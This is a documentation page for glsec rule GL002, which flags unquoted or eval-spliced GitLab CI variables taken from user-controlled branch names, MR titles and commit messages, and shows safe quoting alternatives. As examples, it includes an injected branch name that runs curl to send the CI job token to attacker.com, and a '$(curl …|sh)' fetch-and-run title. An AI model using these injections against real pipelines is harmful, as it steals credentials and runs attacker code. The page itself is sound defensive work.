glsec

Rules / GL002

GL002 Variable injection

Severity: warn
OWASP: CICD-SEC-4 – Poisoned Pipeline Execution

Risk

Several GitLab CI predefined variables are populated from user-supplied data: branch names, MR titles, commit messages. Using them unquoted in script: allows an attacker who controls a branch name or MR title to inject arbitrary shell commands into the pipeline.

User-controlled variables checked

Variable Source
CI_COMMIT_REF_NAME Branch or tag name
CI_COMMIT_BRANCH Branch name
CI_COMMIT_TAG Tag name
CI_COMMIT_TITLE First line of commit message
CI_COMMIT_MESSAGE Full commit message
CI_COMMIT_DESCRIPTION Commit description (after first paragraph)
CI_MERGE_REQUEST_SOURCE_BRANCH_NAME Source branch of MR
CI_MERGE_REQUEST_TITLE MR title
CI_MERGE_REQUEST_DESCRIPTION MR description
CI_PIPELINE_NAME Pipeline name set by the caller when triggering via API
CI_COMMIT_AUTHOR Commit author Name <email>, set verbatim from the commit
GITLAB_USER_NAME Account display name, free-text and user-editable
GITLAB_USER_EMAIL Account email, user-editable
CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_NAME Source branch of an external pull request, named by its author
CI_CONFIG_REF_URI Ref path of the pipeline definition, ending in @refs/heads/<branch> (GitLab 19.0)
CI_RELEASE_DESCRIPTION Release description, free text on tag pipelines
AI_FLOW_INPUT GitLab Duo flow: the comment that triggered the flow
AI_FLOW_CONTEXT GitLab Duo flow: JSON context of the merge request, issue or epic, including its diff and comments

In a fork merge-request pipeline the identity variables (CI_COMMIT_AUTHOR, GITLAB_USER_NAME, GITLAB_USER_EMAIL) reflect the external MR author and are attacker-controlled. GITLAB_USER_LOGIN is intentionally not flagged — its username charset excludes shell metacharacters. The same goes for CI_COMMIT_USER_LOGIN. CI_PROJECT_TOPICS (set by maintainers), AI_FLOW_EVENT (a fixed trigger type) and AI_FLOW_GOAL (set on the trigger by maintainers) are not flagged either.

CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_NAME is set only in external pull request pipelines, where a project mirrors an external repository. The rest of that family is not flagged: the target branch belongs to the mirroring project rather than the contributor, the _SHA variants are hex, and _IID is numeric.

Trigger example

deploy:
  script:
    - echo $CI_COMMIT_REF_NAME          # unquoted — shell-parses the branch name
    - ./notify.sh $CI_MERGE_REQUEST_TITLE

A branch named main; curl http://attacker.com/exfil?t=$CI_JOB_TOKEN would execute the injected command.

Quoting does not help when the string is evaluated as code

deploy:
  script:
    - eval "echo building $CI_MERGE_REQUEST_TITLE"
    - bash -c "git checkout $CI_COMMIT_BRANCH"
    - python3 -c "print('$CI_COMMIT_REF_NAME')"

The outer shell expands the variable inside the double quotes, and then eval, sh -c or the interpreter parses the result as code. An MR title containing $(curl …|sh) runs as a command, even though the variable is quoted. This form is flagged with its own message naming the evaluating command. glsec recognises eval, sh/bash/zsh/dash/ksh with -c (also combined flags like -ec), python -c, node -e/--eval/-p, and perl/ruby -e.

Safe alternative

deploy:
  script:
    - echo "$CI_COMMIT_REF_NAME"        # quoted — treated as a literal string
    - ./notify.sh "$CI_MERGE_REQUEST_TITLE"
    # pass the value as an argument instead of splicing it into code
    - bash -c 'git checkout "$1"' _ "$CI_COMMIT_BRANCH"
    - python3 -c 'import sys; print(sys.argv[1])' "$CI_COMMIT_REF_NAME"

Notes

The rule uses shell quote-masking to detect unquoted occurrences: the contents of "..." and '...' strings and \X escape sequences are replaced with spaces before checking for variable references. Only variables that remain visible after masking are flagged, so "Branch: $CI_COMMIT_REF_NAME" and '$CI_COMMIT_REF_NAME' are not flagged.

The one exception is the double-quoted argument of an evaluating command (see above). The command itself has to be unquoted, so the word eval inside an echo "…" string does not count. An escaped \$VAR inside the argument is a literal dollar sign and is not flagged. A single-quoted argument (bash -c 'echo $CI_COMMIT_MESSAGE') is expanded by the inner shell rather than spliced in as code, and is not flagged.

See also

Enable the ShellCheck integration to surface additional shell issues in these script blocks.

Documentation for glsec 1.23.0. Source of this page · Rule implementation